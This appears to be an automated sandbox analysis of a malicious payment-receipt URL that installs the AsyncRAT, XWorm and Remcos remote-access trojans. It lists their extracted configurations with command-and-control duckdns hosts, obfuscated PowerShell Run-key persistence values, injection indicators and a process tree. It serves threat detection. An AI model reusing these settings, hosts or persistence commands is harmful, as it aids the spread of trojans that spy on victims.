asyncrat | hxxps://kannadibank[.]com/Paymenteceipt[.]html

Analysis

max time kernel
1080s
max time network
1078s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
11-09-2024 11:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://kannadibank.com/Paymenteceipt.html

Score

10^/10

asyncrat remcos xworm default remotehost venom clients discovery execution persistence rat trojan

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

momehvenom.duckdns.org:8520

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

Version

5.0

xwrmmone.duckdns.org:9390

x5wo9402sep.duckdns.org:9402

Mutex

jg6HwHbepPocwygj

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

xworm

Version

3.1

momekxwrm.duckdns.org:8292

xworaugst9090.duckdns.org:9090

Mutex

yh66xbyAobQEOS5f

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

modsmasync.duckdns.org:6745

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Botnet

Default

nanarchym.duckdns.org:7878

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

remcos

Botnet

RemoteHost

recosep8100.duckdns.org:8100

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-TSUVVU
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/3872-11584-0x0000022A6D690000-0x0000022A6D6A0000-memory.dmp	family_xworm
behavioral1/memory/5064-11588-0x0000016CD8D40000-0x0000016CD8D4E000-memory.dmp	family_xworm
behavioral1/memory/4780-11599-0x0000017285D40000-0x0000017285D50000-memory.dmp	family_xworm
behavioral1/memory/184-11699-0x0000000000E00000-0x0000000000E0E000-memory.dmp	family_xworm

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs

description	pid	Process	procid_target
PID 2416 created 3444	2416	python.exe	56
PID 3008 created 3444	3008	python.exe	56
PID 1432 created 3444	1432	python.exe	56
PID 1652 created 3444	1652	python.exe	56
PID 2348 created 3444	2348	python.exe	56
PID 2824 created 3444	2824	python.exe	56
PID 440 created 3444	440	python.exe	56

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral1/memory/436-11575-0x000002206B610000-0x000002206B626000-memory.dmp	family_asyncrat
behavioral1/memory/5008-11592-0x00000281226A0000-0x00000281226B2000-memory.dmp	family_asyncrat
behavioral1/memory/1916-11595-0x000002A7E0CC0000-0x000002A7E0CD6000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
85	2052	powershell.exe
98	740	powershell.exe
106	2980	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
740	powershell.exe
2980	powershell.exe
2052	powershell.exe
3548	powershell.exe
3016	powershell.exe
784	powershell.exe
1132	powershell.exe
380	powershell.exe

Executes dropped EXE 10 IoCs

pid	Process
2416	python.exe
3008	python.exe
1432	python.exe
1652	python.exe
2348	python.exe
2824	python.exe
440	python.exe
3452	xcmdab.bat
456	rvudlv.bat
4136	fusdhv.bat

Loads dropped DLL 43 IoCs

pid	Process
2416	python.exe
2416	python.exe
2416	python.exe
2416	python.exe
2416	python.exe
2416	python.exe
3008	python.exe
3008	python.exe
3008	python.exe
3008	python.exe
3008	python.exe
3008	python.exe
1432	python.exe
1432	python.exe
1432	python.exe
1432	python.exe
1432	python.exe
1432	python.exe
1432	python.exe
1652	python.exe
1652	python.exe
1652	python.exe
1652	python.exe
1652	python.exe
1652	python.exe
2348	python.exe
2348	python.exe
2348	python.exe
2348	python.exe
2348	python.exe
2348	python.exe
2824	python.exe
2824	python.exe
2824	python.exe
2824	python.exe
2824	python.exe
2824	python.exe
440	python.exe
440	python.exe
440	python.exe
440	python.exe
440	python.exe
440	python.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tvillingbrorens = "%Datamaten% -windowstyle minimized $Agnete=(Get-ItemProperty -Path 'HKCU:\\Skaberakkerne\\').Sikkerhedsorganisationernes;%Datamaten% ($Agnete)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bereareft = "%Massen% -windowstyle minimized $anepithymia=(Get-ItemProperty -Path 'HKCU:\\Ciselure\\').jacconot;%Massen% ($anepithymia)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Desoxalate = "%Tithable% -windowstyle minimized $Remrkningers=(Get-ItemProperty -Path 'HKCU:\\Pauxi\\').Adjustores;%Tithable% ($Remrkningers)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1288	wab.exe
184	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
784	powershell.exe
1288	wab.exe
1132	powershell.exe
184	wab.exe
380	powershell.exe
1776	wab.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 784 set thread context of 1288	784	powershell.exe	175
PID 1132 set thread context of 184	1132	powershell.exe	179
PID 380 set thread context of 1776	380	powershell.exe	186

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\Novemberdagen.ini	fusdhv.bat

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fusdhv.bat
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcmdab.bat
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rvudlv.bat
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0008000000024ca5-11664.dat	nsis_installer_1
behavioral1/files/0x0008000000024ca5-11664.dat	nsis_installer_2

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2452	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 35 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Downloads"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e8005398e082303024b98265d99428e115f0000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	msedge.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2112	reg.exe
3456	reg.exe
2256	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 235103.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
836	msedge.exe
836	msedge.exe
3152	msedge.exe
3152	msedge.exe
3284	identity_helper.exe
3284	identity_helper.exe
4648	msedge.exe
4648	msedge.exe
4648	msedge.exe
4648	msedge.exe
4748	msedge.exe
4748	msedge.exe
4060	msedge.exe
4060	msedge.exe
2052	powershell.exe
2052	powershell.exe
3548	powershell.exe
3548	powershell.exe
2416	python.exe
3008	python.exe
1432	python.exe
1652	python.exe
3872	notepad.exe
3872	notepad.exe
2348	python.exe
5064	notepad.exe
5064	notepad.exe
2824	python.exe
440	python.exe
740	powershell.exe
740	powershell.exe
740	powershell.exe
4780	notepad.exe
4780	notepad.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
784	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
184	wab.exe
184	wab.exe
380	powershell.exe
380	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
784	powershell.exe
1132	powershell.exe
380	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 22 IoCs

pid	Process
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
2416	python.exe
3008	python.exe
1432	python.exe
1652	python.exe
2348	python.exe
2824	python.exe
440	python.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	436	notepad.exe
Token: SeDebugPrivilege	3872	notepad.exe
Token: SeDebugPrivilege	3392	notepad.exe
Token: SeDebugPrivilege	5064	notepad.exe
Token: SeDebugPrivilege	1916	notepad.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeDebugPrivilege	5008	notepad.exe
Token: SeDebugPrivilege	4780	notepad.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	184	wab.exe
Token: SeDebugPrivilege	380	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4748	msedge.exe
3872	notepad.exe
5064	notepad.exe
4780	notepad.exe
1288	wab.exe
184	wab.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3152 wrote to memory of 3376	3152	msedge.exe	86
PID 3152 wrote to memory of 3376	3152	msedge.exe	86
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 748	3152	msedge.exe	87
PID 3152 wrote to memory of 836	3152	msedge.exe	88
PID 3152 wrote to memory of 836	3152	msedge.exe	88
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89
PID 3152 wrote to memory of 1220	3152	msedge.exe	89

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3508	attrib.exe
3892	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://kannadibank.com/Paymenteceipt.html
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbe5ba46f8,0x7ffbe5ba4708,0x7ffbe5ba4718
    3⤵
    PID:3376
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2072 /prefetch:2
    3⤵
    PID:748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2680 /prefetch:8
    3⤵
    PID:1220
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
    3⤵
    PID:116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3208 /prefetch:1
    3⤵
    PID:1576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4648 /prefetch:1
    3⤵
    PID:400
